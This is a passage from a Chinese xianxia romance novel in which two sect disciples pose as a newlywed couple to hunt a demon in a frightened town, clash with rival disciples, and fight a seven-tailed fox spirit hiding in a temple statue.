家家户户房门紧闭,凡是见到道人打扮的修士进城,均是心惊胆战,连房门都不愿意打开。 柳观春没了办法,转头问江暮雪:“看来,此地出事,或许和修士有关,他们很抵触修士入城,我们得换个装扮。” 说完,柳观春又为难地问:“师兄,你得摘下玉冠,换下白衫。你有其他衣物吗?发带倒是没什么,我有绿色的丝绦,可以送你束发。” 江暮雪从珠子里取出一身梧枝绿的长衫,问:“这身,可行?” 柳观春看了一眼,确实没有玄剑宗独有的暗纹了,她连连点头:“行的,我也带了衣裙,正好能换上。我们、我们就打扮成一双外出游历的兄妹?” 江暮雪沉默一会儿,提醒她:“年轻兄妹鲜少一道外出游历,况且你我的容貌并不相似。” 柳观春偷偷看他一眼:“若是对外声称,我们是新婚不久的小夫妻,此举会冒犯到师兄吗?” 江暮雪想了想,道:“可以。” 年轻男女出游,明眼人一看就会往暧昧的方向猜测,不是明媒正娶的小夫妻,就是私奔出逃的有情人。与其遭人猜忌,倒不如一开始就装成新婚燕尔、外出游玩的小夫妇。 见江暮雪同意了,柳观春松一口气。 说实话,与其担心断情绝爱的无情道剑君破戒,倒不如担心她会不会有时没规矩,不慎冒犯到冰清玉洁的江师兄。 既然江暮雪都不介意,那柳观春也不在意那么多了。 等她在破旧的草庐里换好衣裙,江暮雪早已收拾妥当,待在屋外等她。 柳观春没带镜子,只能凭感觉随便梳了个单螺髻,又簪了两朵绒花。 柳观春修行时,可以不调脂弄粉,但如今打扮成年轻爱俏的小姑娘,又觉得戏要做全套,至少涂一点口脂。 然而,柳观春太久没有上妆,还有些不得要领。 她唇上的红脂沾得太重,自己又看不出来。 思来想去,柳观春还是捂住嘴,走向江暮雪。 “师兄,我是不是没涂好?” 她想让他帮忙看看。 江暮雪鲜少和人谈这些细枝末节的琐事,要他看一个女子描眉画眼,更是令人匪夷所思。 但他还是依言抬头,漠然地瞟去一眼。 柳观春已经收回了挡住脸的手。 也是此刻,江暮雪才有机会细细瞧她。 少女本就肤光胜雪,抹了一层面膏,更是脸色莹润。她不擅描眉,只在眉尾随便勾了两下,下手很轻,但潦草的几撇,带些挠人的野性,更让女孩的眉眼变得灵动。 妆容妥帖,并没有画错的地方。 只是唇上的红色口脂,涂抹太过,晕在唇珠上,显得很肿,破坏了女孩面妆的协调。 江暮雪做事向来一丝不苟,他几乎没有迟疑,当即伸出手,指骨轻抵住柳观春光洁的下巴。 他看着她:“抬头。” 声音低沉清幽,许是太过严肃,倒让柳观春下意识抻起脖子,不敢反抗。 她撑着脑袋,望向江暮雪那双沉寂的凤眼,男人的浓睫低垂,并不与她对视,而是看向更低处,视线落在她的唇瓣。 假如视线有温度,柳观春想,她已经被江暮雪烧成了一捧灰。 可江暮雪却没有看出女孩的窘迫,他仿佛不通人情,大拇指强硬地按在柳观春饱满的唇心。 男人的指肚温热,抵在鼓起的唇珠,重重一碾。 顷刻间,口红染上江暮雪白皙的手指。 擦出一片红。 江暮雪被柳观春的唇,弄脏了。 柳观春无意间瞥见,脑袋忽然轰隆一下,点燃了火焰……她的理智全无。 江师兄,他、他…… 不知为何,明明江暮雪的动作轻柔,可柳观春还是热到鼻翼生汗。 她一动不敢动,脊背僵硬,腰窝紧绷,手骨也蜷在衣袖里紧紧攥着。 柳观春一直劝自己,师兄是无情道剑君,他心无杂念,她绝不能露出羞涩的神情,那会让人看笑话…… 江暮雪确实只是在帮她擦拭唇上的痕迹。 为了方便清理,他捏着柳观春的脸,专注地盯着她的脸,不许她乱动。 直到江暮雪指间衔着的那块梨花白帕,再也擦不出一丝红色,他终于松开一点手间的力道。 柳观春松了一口气。 可是,下一刻,柳观春的脸又被泛凉的手骨掰正。 江暮雪轻轻捏着她的颊骨,慢条斯理地道。 “口脂拿来,我帮你。” 15、下山(五)... 第十五章 江暮雪的手指一触即分。 当他涂抹好口脂后,他很快与柳观春拉开距离。 柳观春的脖子仰到发酸,总算忙活好了。她看了一眼师兄如玉如璋的冷脸,实在没好意思问他涂得好看不好看。 想来应该是不错的。 柳观春从藏宝珠里取出几件衣物,又用蓝色的布巾裹成一个小包袱,背到身上。 做完这些,她觉察到江暮雪不解的目光。 柳观春如梦初醒,她知道这些修为高深的内门师兄,很可能少时就进仙宗修行,所以不通庶务很是正常。 柳观春道:“我们既要扮成掩人耳目的凡人夫妻,外出远游,自然是要带些包袱在身上的,凡人可没有能够储物的藏宝珠。” 江暮雪颔首:“嗯。” 他上前一步,从善如流地接过柳观春手中包袱,背在自己身上。 柳观春疑惑地看他。 江暮雪:“既是夫妻,便不该让妻子受累。” 柳观春一怔。 她心神恍惚之时,又凝神看了一眼江暮雪清正的墨眸,眉心的守元印。 红印灼灼如血,没有半分明灭,说明他道心坚毅。 师兄的话不含私心,亦不是轻浮的戏弄之语,他只是在阐述一个事实。 柳观春没有再争,她不喜欢占人便宜,只能一边跟着进镇的师兄,一边对他道:“一路上我受师兄太多照顾,之后有机会,我给师兄煮茶吃,权当道谢。” 江暮雪没有说话。 江暮雪记起柳观春在武斗卷轴里,因受白衣师兄太多指点,便提议要给他缝补衣裳;在宗门里,又因江暮雪为她主持公道的话,就送他糕点还有山果……其实都只是分内之事,但柳观春素来喜欢与人两清的性 子,她不想欠下任何人情。 因此,江暮雪没有拒绝她的好意。 这一次,两人的衣着寻常,又生得登对,郎才女貌。那些房门紧闭的镇民终于探出头来,给他们指了一家还没打烊的客栈。 要是没钱,还能去荒废的城隍庙里住,反正他们家不让生人留宿。 柳观春好不容易见到人,她扒拉着门板不放,追问:“看你们神色慌张,镇子上可是出了什么事?” “你一个女娃娃问这么多作甚……”大娘支支吾吾,不敢说话。 柳观春杏眼滴溜溜地转,她佯装泼辣地道:“我和夫君一路行来,看到家家户户房门紧闭,街上还烧着纸钱,明显是死了人………要是真有什么魑魅魍魉,你却不及时提醒我,待我们夫妻二人出了事,定会化身厉鬼来你家中索魂!" 大娘没想到小姑娘娇滴滴的,居然还能说出这一番狠话。 偏偏柳观春的丈夫就在旁边冷脸看着,一句话都不开口,可见是个怕媳妇的耙耳朵! 大娘没法子,只能一边赶柳观春,一边道:“这个镇子上出了吃人的邪修,你们见到修士可得躲得远远的,免得被人抓去吃了。快走快走!” 说完这些,大娘立马阖上房门。 柳观春摸了摸险些被门夹到的鼻尖,她转头,无辜地望向江暮雪:“师兄,这里好像有邪修……” 江暮雪没有及时回答。 他还在思索她口中那句亲昵的“夫君”,他倒是不知,原来柳观春能言善道,嘴皮子也很利索 柳观春在外的样子,倒比她在玄剑宗时有生气多了。 江暮雪收回心神,问她:“要去客栈留宿,还是上城隍庙?” 柳观春看了一眼昏沉黑暗的天色,虽然已经入夜,但她不觉困倦,总不好让师兄一直体谅她的作息,耽误任务。 于是,柳观春道:“去城隍庙吧,夜里妖邪出没众多,没准能找到关于那个邪修的下落。” “好。”江暮雪没有异议。 他扬袖一挥,召出伏雪。 顷刻间,剑气四射,莹白的灵气从他骨相棱棱的手指漫出,幻化出一柄能够带人的长剑。 伏雪剑从来没有在灵域里憋过这么久,它等了好几个时辰,终于能露面透透气。 时间,长剑兴奋不已,它不住地凝结白霜,还没等第一蓬洁净的雪花绽开,江暮雪的神识忽然变成一条长鞭,狠狠抽打了伏雪剑一下。 啪的一声巨响,卷起的鞭子削去所有冰棱。 伏雪剑被那一记光鞭打懵了,雪花迅速凋零,融化成淅淅沥沥的雪水。 它剑躯一颤,望向主人,剑心错愕不已。 伏雪剑怎么都没想到一贯温和的江暮雪,居然会当众抽它鞭子! 剑灵:不是,凭什么啊? 每次在外对战,它都这样爆开霜雪,结合江暮雪大盛的灵域,孔雀开屏似的,气势要多凶悍有多凶悍,排场要多铺张有多铺张。 主人从来不管这些琐事,怎么今天就轮到它挨鞭子了? 伏雪剑看到江暮雪身边的柳观春,心中不服气,它好像有些明白了……都怪这个小孩!江暮雪为了她,不但把它变丑了,还不让它凝雪花。 江暮雪……是怕它会抢他风头。 这个女修,难道就是主人未来道侣?天哪! 江暮雪倒不知伏雪剑会有这么多小心思,只是它的灵识在手中翻滚,剑吟不断,实在吵闹。 男人没有心思去聆听剑灵的抱怨,他只冷看长剑一眼,又用心念摔去一鞭,这次还附上了哑咒。 伏雪剑被打得里子面子全没了,它直挺挺立着,再不敢动。 伏雪剑现在很感激主人把它变丑了,至少眼前这个小娃娃看不出它的丢脸,也不会知道它的真身就是大名鼎鼎的伏雪剑。 柳观春本想召出竹骨剑飞行,但江暮雪压制住她的剑气,劝道:“两人御剑,太过招摇,我带你一程。” 柳观春点头:“有道理,那就麻烦师兄了。” 柳观春乖巧地跳上伏雪剑,她没敢冒犯江暮雪,故意后退半步,与他拉开距离。 江暮雪淡扫一眼,没说什么。 只是两人一路沉默,柳观春又有点耐不住寂寞。 她主动开口聊天:“师兄,你既修无情道,我在外与你扮作夫妻,当众喊你‘夫君’,是否会坏你的道心?” 柳观春对无情道一知半解,只知道他们眉心都有一颗守住元阳的红痣。 柳观春怕这个法门太过苛刻,而她又不知内情,万一祸从口出,不经意间害了白衣师兄,那她可真是罪大恶极。 江暮雪本在凝神分辨魔气去向,忽然听到小姑娘说话的娇声,缓和了一下御剑飞行的速度。 江暮雪敛眸:“不会。” 柳观春习惯了白衣师兄言简意赅的谈话风格,只要他肯答,那就没有冒犯之处。 柳观春安心,顺口又问:“那要如何才会致使无情剑损,道心破碎?” 她想多了解一点白衣师兄的事,可没想到,江暮雪听完这话,却顿住了。白衣师兄久久不开口,柳观春后知后觉意识到,是她口无遮拦,这句话其实有点轻浮…其禁忌程度,不亚于问江暮雪,房事要行到何等程度,进到多深,才算破戒?若是只有边缘性行为,是不是也能被道心睁一只眼闭一只眼允许?她分明是在试探他。 柳观春脸上讪讪,她算不算轻薄了江暮雪,她其实没这个意思。 “师、师兄,对不起。我就是好奇,随便问问的。言语得罪之处,还请您多多包涵。” 江暮雪看她诚惶诚恐的样子,也无意吓她。他沉默,只是不知该说些什么。 江暮雪:“小事罢了,不必在意。”柳观春老实闭嘴,情绪也有点低落。 她想,江师兄到底还是介意的,所以即便他接受了她的道歉,他也还是没有解开关于“破戒”的疑惑。 很快,伏雪剑降落,磅礴的剑气压低一从从小腿高的荒草。柳观春刚跳下剑,一道受灵力驱动的火符忽然从远处袭来,直直打向她的胸口。没等柳观春下意识持剑抵挡,她召出竹骨剑,另一道浩瀚的威压已是潮鸣电挚地袭来,精准地接下了这一记火符攻击。“轰隆——!” 江暮雪不过腕骨微拧,剑尖轻挥,那一团火符的光华大盛,又被他用灵力击飞出去。火焰窜进漆黑的荒庙,没一会儿,远处传来凄厉的惨叫声。一群修士弟子冲出荒庙,齐心协力踩踏自燃衣袍,帮助温少卿灭火。火符威力不大,几道剑气砸下去,该灭的火都灭了。倒是温少卿好面子,明明是他先动手伤人,却有脸倒打一耙,提剑质问:“是哪个害我?!”玄剑宗的男弟子们纷纷出动,将林中的柳观春和江暮雪团团围住。温少卿取火符一照,看清柳观春的脸,惊讶:“居然是你?!”柳观春许是知道江暮雪就在身边,见到这些素有旧仇的弟子,她心里也不慌。柳观春嘴角上翘,笑着打招呼:“温师兄,巧遇。”温少卿见她还有脸笑,心里更为恼火。 自从他上次被紫璃宗的女修们捉奸,温少卿面子丢了不说,还被押到自省殿打了四十鞭,直接让他落到筑基期一阶!要知道,他本来都快结丹了,这几鞭子下来,直接让他二十年的修行尽毁。都怪柳观春事多,竟招来江暮雪为她主持公道!难怪弟子们都说柳观春一脸狐媚相,光是那双楚楚可怜的杏眼,就能诱惑男人为她上阵杀敌。 温少卿仔细看了柳观春一眼。好吧,确实长得挺漂亮。 他懒得搭理柳观春,又扫了她身边的队友一眼。 这位弟子身材高大,器宇轩昂……温少卿气闷,他居然比自己还高上一些,脸长得……好像也还不错,就是手上那把本命剑一点灵光都不外泄,想来就是俗品,并不用多上心。宗门弟子众多,温少卿不认识这位同门,但不妨碍他因私仇,出言讥讽:“明明你是无情道的剑修,竟道心不坚,被柳观春的美色蛊惑,与她同路,意图破戒!真丢我们剑修的脸!” 到底是宗门后辈,江暮雪淡看他一眼,考虑要不要出剑。 沉睡半天的伏雪剑听了这话:哈哈,你小子有种。 反倒是柳观春忍不下这口气,江师兄因她之故,受人奚落,她必须帮他找回场子。 柳观春拔剑出鞘,护在江暮雪身前,寒声道:“温师兄看我不顺眼,辱我可以,却不能欺我师兄!” 柳观春竟还提剑护上了… 众人哄笑。 今日来马兰镇降魔的都是玄剑宗的男弟子,他们高傲得很,知道打女弟子太过没有男子气概,因此也没打算和柳观春吵,只是在旁助声势,看笑话。 师弟白轩之前吃过柳观春的甜糕,对她印象挺好,他拉了拉温少卿,小声劝架:“算了温师兄,多一事不如少一事,她要是上山后再和江师兄告状,咱们都得挨罚……” 大师兄最不喜欢同门之间生出嫌隙,况且温少卿刚挨过打,他没胆子再去挨鞭子。 若是他的境界掉下筑基的话,那就真要滚去外门扫洒了。 还是快点伏魔,取走魔核,多多换点天材地宝,也好早日再攀境界吧。 思及至此,温少卿冷哼一声,不再多言。只是转身的时候,他严厉警告柳观春:“算你运气好,撞上我心情不错的时候。只是别想迈进城隍庙一步,这是我们的地盘!你自己上林子里找地方待去!”说完,温少卿跟着弟子们走回破庙。 弟子们一边走,一边还嘀咕 “也不知大师兄上何处伏魔了,要是他在这里,除魔卫道之事一定事半功倍!” “只可惜大师兄从来不和人组队,不然我跟在旁边蹭蹭魔核也好啊。” “想得倒美,这种好事当然只能留给我!” …… 一群人插科打诨离开,殊不知江暮雪已在心中默默记下这批弟子的名号。 见人走远,江暮雪低头,望向柳观春。她肩背紧绷,还持着剑,维持着保护他的姿势。江暮雪想了一会儿,问:“要住城隍庙吗?”清冷的声音倏忽在柳观春身后响起,惊得她回过头。柳观春呆呆地看了江暮雪一眼,思考他话里的意思。 难道,他是想杀回去? 男人的凤眸平静无波,脸上并无惧怕之意,他确实是在等待柳观春的答案,仿佛她一声令下,他真会持剑去抢夺地盘。柳观春心里感动,她明白白衣师兄护短,而且他境界高深,剑术超绝,倒不至于被打得落花流水。可他应该只有金丹期的境界,而那一批男弟子不仅人多势众,其中还不之结丹的修士……真要动刀动枪,江师兄又哪里是他们的对手啊!方才柳观春拔剑护人,也是想借内门大师兄的名头去警告温少卿,惹她的话,想想身上落的鞭子。要是真让白衣师兄出头,恐怕眼下两拨人已经打得不可开交了。 于是,柳观春摇摇头:“不用。” 她体恤白衣师兄作为男子的自尊心,咬牙忍受山林的寒风,道:“江师兄,我就喜欢在外露宿,还能、还能感受一下自然风光,顺道吸收天地灵气,晒晒月亮挺好。”江暮雪眼睫轻颤。 不是妖修,却要以人身……吸收天地灵气吗? 他也不知柳观春话里的虚实,只能顺从她的意思,跟着她往密林深处行去。 魔气浓郁的山林,往往孕育了许多山精野怪。黑峻峻的树林里,到处都是绿眼睛、红眼睛的精怪,从前的柳观春胆小,她会备好许多驱魔用的符篆、法器,但今日有白衣师兄在身边,手上还有竹骨剑护体,她有人陪伴,有剑在手,心里便没有那么怕了。 远离那一座荒庙,柳观春终于松了一口气。 她安顿好江暮雪后,让他坐着别动,由她这个降魔队伍里的后勤队员来安置一切。 柳观春从藏宝珠里取出备好的两个羊皮水囊,一壶羊奶、茶砖、还有熏好的肉干、甜糕、蜜果。 她不知道江暮雪爱吃哪个,但她还是林林总总摆满了一地。 "师兄请自便,都是我用蜂蜜腌的山果!" 说完,她又取出风符和火符,就地点起了炉子。 江暮雪不重口腹之欲,加之辟谷,他没有吃蜜果,反而是寻了个避风的位置,闭眼打坐调息。刚要沉入无我境界,江暮雪忽然闻到一股浓有的肉香,甚至是清甜的米香……人间烟火的浊气,一下子打散了他凝好子的灵域境界,逼得他从髓海里浮出来。江暮雪睁开眼,一块烤得金黄酥脆还涂抹了酱汁的年糕,忽然递到他的眼前。 江暮雪:“.…. 柳观春讨好一笑:“师兄先吃。” “我不必………” 没等江暮雪说完,柳观春又推上来一碗泡好羊肉干的咸口奶茶,一碟芋粉糕,一块烤羊肋,甚至还有妖域里号称逃跑速度是山兽之最的雪兔,也不知她是怎么抓到的。“师兄是前辈,您先吃,我后吃。”柳观春很懂尊师重教的道理,师兄指点过她剑术,就是她的老师,她不可能亏待师长。 江暮雪看一眼满眼期盼的少女,他知道,若是他没有吃点夜食,柳观春可能会劝上一整晚。 清隽秀美的师兄轻轻叹气,端起奶茶,小饮了一口。 江暮雪虽只是喝茶作陪,但柳观春也已心满意足。 和朋友一起吃夜宵,一起围炉烧烤,一起夜话家常,是她梦寐以求的事。 如今终于实现了,柳观春的心脏都变得软乎乎的,好似烤到化开的棉花糖。 夜里,柳观春抖开带来的毯子,盛情邀请江暮雪也上毯入睡。 便是江暮雪再不通人间庶务,他也知道,柳师妹是姑娘家,同睡一毯这种事,到底太过亲密。 但柳观春对无情剑君很放心,在她眼里,修无情道的剑君,就是阉了的太监,与其担心师兄兽性大发,倒不如担心自己会不会喝了太多果子酒,深更半夜被美色所惑,然后色令智昏朝师兄下手。但江暮雪不肯躺下休息,柳观春只能搜出一件厚一些的雪兔毛斗篷,盖在他打坐盘起的膝盖上,然后小心翼翼钻回毯子里睡觉。 灵力在江暮雪四肢百骸里运转了一个小周天后,他方才施施然睁开眼睛。 江暮雪垂眸一看,膝上暖融融一片,竟是一块厚重的雪兔斗篷。 方才柳观春鬼鬼祟素爬过来,原来就是为他披衣御寒么? 江暮雪偏头,眼角余光瞥见柳观春。 女孩蜷在毯子里,睡得很沉。不知梦到什么,眉心皱起,眼尾也一片晕红,似乎是山风太大,脸颊被风吹得有些干,还在不住地颤抖。 想了想,江暮雪拎起这一件厚斗篷,小心抖开,盖在柳观春的身上。 他望向那一只露在毯外的白皙手腕,又跽坐在地,将修长指骨轻轻搭上少女的脉搏处。 驱寒的灵力缓缓传进柳观春的体内,沿着经络游走,贯穿全身。 可没等江暮雪将灵力灌进师妹的丹田,又有一股与他相冲的霜雪灵气涌来,将所有外来的力量打散,甚至不分好赖,霸道地挤出那些江暮雪渡进去的灵力。 三番两次如此,饶是江暮雪脾气够好,也有些恼火。 便是助柳观春筑基,也不必将她困在身边,不许她体内拥有任何人渡来的灵力。 不知是否因为江暮雪元婴大能的威严被旁人挑衅,男人难得凤眸冰冷,杀意迸现。 江暮雪握住柳观春的手腕,甚至想强行逼出那股龟缩在柳观春腹部的灵气修为。 但很快,掌心柔软的触感,教他渐渐冷静下来。 若江暮雪强行行事,恐怕柳观春会被他惊扰,甚至引发灵力暴走,好不容易筑上的基又会被他的灵力冲到溃散。 算了。 思来想去,江暮雪只能硬生生忍下那些古怪的不快。 他召出伏雪剑,幻化出一片挡风的剑罩,拢住柳观春,用于寒夜里取暖。 今夜风餐露宿,江暮雪怪不得柳观春的贵人,只能将一些难言的火气发泄于那些欺凌同门、强占荒庙的师弟身上。 江暮雪沉默起身,从灵域中抽出一条伏雪剑分化出的戒鞭,缓慢走向城隍庙。 翌日清晨,城隍庙中的弟子们各个腰酸背痛地爬起身。 他们面面相觑,一看彼此的后背,各个都有一道带着雷印的鞭伤,肿成一片。唯独小师弟白轩安然无恙,逃过一劫。 师兄们震惊不已。 “怎么回事?!” “不知道啊!” “难道是那个邪修来了?” “你们睡得跟猪一样,没人反应过来吗?!” 师兄们吃惊,赶紧打坐调息,查验伤势,然后他们震惊地发现—— 靠?!谁深夜不睡觉,闲得发慌,特地来抽他们一鞭子,还让全员弟子都掉下一阶修为啊?!这人疯了吧! 柳观春熟睡的时候,闻到一股很香很香的清幽雪气。 不知这种气味是冰雪道的修士独有,还是无情道的剑君都喜欢在衣上熏青松覆雪的香味。 总之很好闻就是了。 柳观春睁眼的时候,天光乍泄,远处的青山缠绕浓浓雾霭,满眼都是蟹壳青色的云烟。 柳观春想到白衣师兄,慌张地环顾四周,直到她看到那一抹打坐调息的白影,悬着的心落下了。 柳观春解开缠到身上的毯子,又使了一个清洁术,把衣裙的脏污都清理干净,甚至从水囊里取水好好洗了脸、刷了牙。 其实清洁术已经足够清除脏污,但是柳观春保持着凡人的习惯,还是喜欢用水擦脸、漱口。 整理完这些,她又偷看江暮雪一眼,见他入定还没醒转,放下心,继续忙活自己的事。 实际上,江暮雪已是结婴的修士,对外界的动静十分敏锐,即便不睁眼,他的神识外放,还是能捕捉到世间万物的动静。 他并非有意窥探柳观春,而是她的一举一动都与寻常修士不同。 换了衣裙还不够,还要扫开炽炭燃尽后留下的灰,再次点燃火符,放上铁丝网,再架起一只烧得黑乎乎的竹木杯。 江暮雪不知柳观春在作甚,耐心等了一会儿,他看到她往水杯里添上一勺蜂蜜,美滋滋地喝了起来。 江暮雪:"……."如今的后辈,都会用“晨起喝蜂蜜水”的方式调养生息吗?柳观春喝完蜂蜜水,小腹终于变得暖洋洋的。 她拆开发带,又取出桃木梳子,一点一点通头发,如此忙活半天,总算梳好了发髻。柳观春以杯中水面为镜子,左右打量,满意点头。她猫着身子,怯怯靠近江暮雪。纤细的手指紧紧揪住师兄的衣袖,拉了拉,“师兄、师兄……”她这样唤他。既胆大又胆小,衣袖拉得很紧,可声音却又很轻。 怯怯的,好像小猫崽子。 江暮雪顺她心意睁眼,许是打坐太久,眼眸滞涩,男人浓长的眼睫垂下,颤了一会儿,才抬眼看她。 “你醒了。” 声音清朗温润,如玉珠落盘。不是疑问句,而是陈述事实。 柳观春点了点头,她很快直起身子,和江暮雪拉开距离。 柳观春跽坐在男人面前,双手叠放在膝盖上,规规矩矩地请安:“师兄早上好,你洗漱过了吗?你想吃什么早膳?“ 想到江暮雪已经辟谷,柳观春又说:“不吃东西的话,好歹喝点热茶?” 江暮雪没有拒绝她的好意,只静静地看着她。 柳观春现在已经摸清楚白衣师兄的性子了,他不爱说话,不喜欢的事会直接拒绝,若是没有说话,脸上的神情也不变,那就是既可又不可,随便柳观春安排。 江暮雪其实已经给自己施加过清洁术,他本就爱干净,不会让浊物留在身上太久。 可是他想到柳观春方才用水洁面的样子,思来想去,还是取出帕子浸水,也给自己擦拭洗漱一番。 等到江暮雪打理好,一杯温热的花茶已经递到他的掌心。 江暮雪修长手指搭在杯壁上,细细把玩了一下竹骨杯子,迟迟没有入口。柳观春的心脏又悬至嗓子眼,她问:“是茶水不合师兄的口味?” 江暮雪:“不是。”他端茶啜饮一口,抬袖挡脸的时候,男人眼风一扫柳观春手上茶杯。他方才的迟疑,只是好奇柳观春居然将一只簇新的竹木杯子用来待客,她自己却用另一只烤到焦黑的水杯。她好像,一贯如此委屈自己。 柳观春犹豫要不要回城隍庙看看,她私心不想白衣师兄再和那群弟子起冲突。但她要找邪修的线索,那座荒庙妖气浓郁,她得回去看看。柳观春实在太高估这些师兄们的胆识,任谁睡一晚上就被邪修抽掉一阶境界,都会在睡醒之后马不停蹄逃跑。果然,这次柳观春没在黄庙里找到任何人的身影。 荒庙破败不堪,屋脊房梁积满了灰尘,还有蜘蛛在半空中结网,银丝被阳光照出粼粼的光泽。 柳观春拿出寻魔的罗盘。 如有妖物,罗盘里的指物针便会纷纷朝向一个地方。 然而,不知是不是有邪魔逗她玩,那一块罗盘竟无风自动,滴溜溜地转起,一圈又一圈,半天不肯停。 就好像有看不见的魔物围着她转圈。柳观春后脊发麻,起了一身鸡皮疙瘩。她刚要召出竹骨剑,却见身旁有一道黑影窜过。柳观春下意识抬起头,和莲花须弥座上一尊漆面斑驳的佛像对上了视线。释迦牟尼像一贯弯眸浅笑,手捻说法印,宝相庄严,悲天悯人。可这尊泥胎像竟是瞪大了双眼,眸仁甚至冒出绿光。 柳观春吓了一跳,她意识到佛像里藏了妖邪,登时口念剑诀,唤出竹骨剑。只要柳观春不开灵域,竹骨剑在她手中都能运用自如。 “师兄,佛像有妖!”柳观春大声喊道。 一时间,剑光大作,凛冽的剑气摧枯拉朽一般扫荡而去,粉碎一切尘烬。 荒庙陡然爆开道流霞似的银光,妖邪被剑修的剑势震慑,按理说应该迅速遁逃,然而这一只妖物竟半点惧意都没有,还在吱吱地笑着,等待柳观春上前自投罗网。柳观春看了江暮雪一眼,见他按兵不动,心中也稍微安定不少。 正当柳观春想要提剑斩杀佛像的时候,从那一层泥皮神像里忽然流出一滩滩毛茸茸的黑水。 那些黑水似是藏着有意识的活物,咕咚咕咚冒泡,黑水像沸开一般,十几尾黑鱼,迅速游向柳观春。 这些怪物邪得很,身上鬼气森森,竟是不知吃了多少人魂! 没等它们沾上柳观春的鞋尖,十几把欺霜赛雪的剑影破风而来,当空刺下,只听得啵唧一声,尖锐的剑刃深深埋进黑鱼的身体,像是刺破了一个个装满毒液的囊袋。顿时,黑水从薄如蝉翼的皮囊中爆开,黑气四溅。 黑鱼瞬间发出凄厉的惨叫。 它们一边喊着:“娘亲!娘亲!”一边你争我抢,迅速后退。 它们快要死了,一个个争前恐后地逃回神像,融进妖物的身体。 可是早已来不及了。 江暮雪并指抵唇,垂眸念咒,将蓄满金光指骨扫出。眨眼间,那一道金芒从他的手中脱落,如同一颗金珠坠到地上,瞬间扩散成一片熊熊燃烧的火海,烟熏火燎,星火燎原。此为地狱火,其焰之烈,能焚烧世间万物。 所有黑鱼都被地狱业火煎熬,痛不欲生,它们回不到母亲的本体,奄奄一息,最终流下滋滋作响的油脂,渐渐变得焦黑的蛆虫,再也不会动了。 整座庙都被黑气笼罩,邪物烧出的尸油腐臭味几乎催人作呕。 佛像受不住这种煎烤,很快便冒出一缕人形青烟。 一只七尾妖狐自烟雾里跳出,她挥舞着尖利的爪子,当空袭向江暮雪。 “师兄小心!” 柳观春一直关注着江暮雪的一举一动。她飞扑过来,一把按倒了师兄,没等她安抚好倒地的江暮雪,少女又身手利落地翻身,反手抬剑,挡住来势汹汹的狐爪。 滋啦——钢铁般尖锐的爪子在竹骨剑上爆开炫目的火花。 七尾狐没想到江暮雪能逃过一劫,心中恨意更甚。 她身后的七条尾巴迅速勾起,化作钢刃,刁钻地剜向柳观春的双眸。 千钧一发之际,伏雪剑似有所感,立马追风逐电地追上。 剑影重重,幻化成庞大的剑阵,自七尾妖狐的后脊穿入,勾出她猩红的皮肉。 此招煞气甚重,没等妖狐想明白江暮雪为何有那么浓郁的杀气,她的七条尾巴已经被剑风削断,逐一落到地上。 哗啦一声巨响,油绿色的妖血在柳观春面前爆开。 七尾妖狐的魔核浮出,绿光烨烨。 柳观春往后退让一步,把飞出的魔核让给师兄:“师兄,这是你的。” 她虽然渴望得到魔核,提升修为,但是她不会和白衣师兄争夺战利品。 江暮雪看一眼,却还是抬袖一扬,把魔核推至柳观春面前。 “此物赠你。” 许是怕柳观春不收,江暮雪又道,“方才得你庇护,避开一劫,这颗魔核算是我的谢礼。” 柳观春呆了呆,她见识过江暮雪强盛的剑气,心中早就猜到,即便方才自己不出手,江暮雪也能化险为夷。 倒是她多此一举,还弄脏师兄的衣。 柳观春受之有愧,但她不想和白衣师兄太过生分,只能取来魔核,先塞进藏宝珠里。心里盘算着,等到之后遇到其他大妖,她再把魔核让给江暮雪就是了。七尾妖狐的妖力全蓄在尾巴里,如今尾巴断了,藏着内丹的魔核也落到外人手里。 她气得咬牙切齿。 妖狐虽然想夺回内丹,可她又畏惧江暮雪身上的煞气,不敢靠近。 转头她变成一只毛茸茸的小狐狸,断得只剩下根的尾巴一扭,敏捷地跳出荒庙。 柳观春眉眼一凛,她手握竹骨剑,作势要追。刚跳上窗台,她想起身后还有江暮雪,柳观春回头问他:“师兄追吗?” 江暮雪:“魔核已取,它活不了多久。” 柳观春:“既然活不了,它还跑得这么快做什么?我去看看。” 没等柳观春再度跳起,忽然一股罡风自身后扫来,将她整个人吹上天,团在那一个凝霜的剑茧之中。 剑茧好像铺满了棉花,脚尖踩上去软绵绵的。 待她后颈衣领一紧,柳观春偏头,看到一只轻轻提住她后领的手。男人的手白净如玉,指骨修长,用力时手背隐隐浮起虬结交错的青筋。 是江暮雪御剑而来,特地捎带她一程。 许是搂腰或者横抱都有点僭越,思来想去,江暮雪只能选择这种提小猫后颈肉的方式,拎起柳观春。 柳观春老老实实被拖着带走,她看着脚下逐渐变小的山林,心中反思……是不是她御剑术太差劲了,师兄嫌她飞得慢,所以才会一次又一次带她上路?这样一想,好像江师兄从来没有嫌过她修炼不精,即便觉得哪里剑诀心法出错,也只是提剑一次次演示给她看。 唉,江师兄还真是温柔的男人啊。 柳观春羞愧不已,心中更是存了潜心修炼的决心.……她不能成为师兄的拖油瓶!她要成为师兄能够交付后背的战友! 许是有后辈在旁,江暮雪御剑飞行,更是警惕,他眼观六路耳听八方,追妖的同时,还分神去瞥一眼柳观春。 可柳观春原本安安静静待着,忽然双手握拳,不知在碎碎念什么…… 江暮雪望着两侧翱翔的仙鹤,疑心是今日飞得太高,惊到少女。 沉默片刻,江暮雪手中捏了个剑诀,压着伏雪剑伏低,靠近地皮滑行。 柳观春盯着原本帅气的本命剑,忽然成了薄薄一片滑板,载着人在一波波绿油油的草浪上横冲直撞,一时无言。 而见惯大风大浪的伏雪剑早已在内心释然一笑:哈哈,你骑马得了呗!还骑我干什么?这不犯剑么? 没一会儿,江暮雪带着柳观春追进一座荒山。 山中瘴气浓郁,草木不生,并没有人烟的样子。 待柳观春仗剑踹进一间荒屋的时候,她找到了床帐里的妖狐。 妖狐的法力尽失,妖气也一点点溃散。 可她还是在默念咒术,一遍遍牵动手里的丝线。 一遍一遍极有耐心地拉扯,拉一截,还要低头亲吻一下怀中的东西,碎碎念上几句。 柳观春听了半天,听懂了,她是问怀里的尸体:“这样拉会不会痛?抱歉,我没有妖力了,我没办法让夫君站起来……. “夫君别怕,我、我再吃两个人,我还会恢复内丹,我还能让你跟着我一起出门。” “夫君,你等等我,先不要腐烂好不好?再等等我……” 柳观春这才意识到,妖狐怀里抱着的,应该是另外一个人。 江暮雪反应最快,眨眼间,伏雪剑已化作剑影,袭向妖狐怀中的尸体。 妖狐见状,大惊失色,急忙俯下身去抵挡。 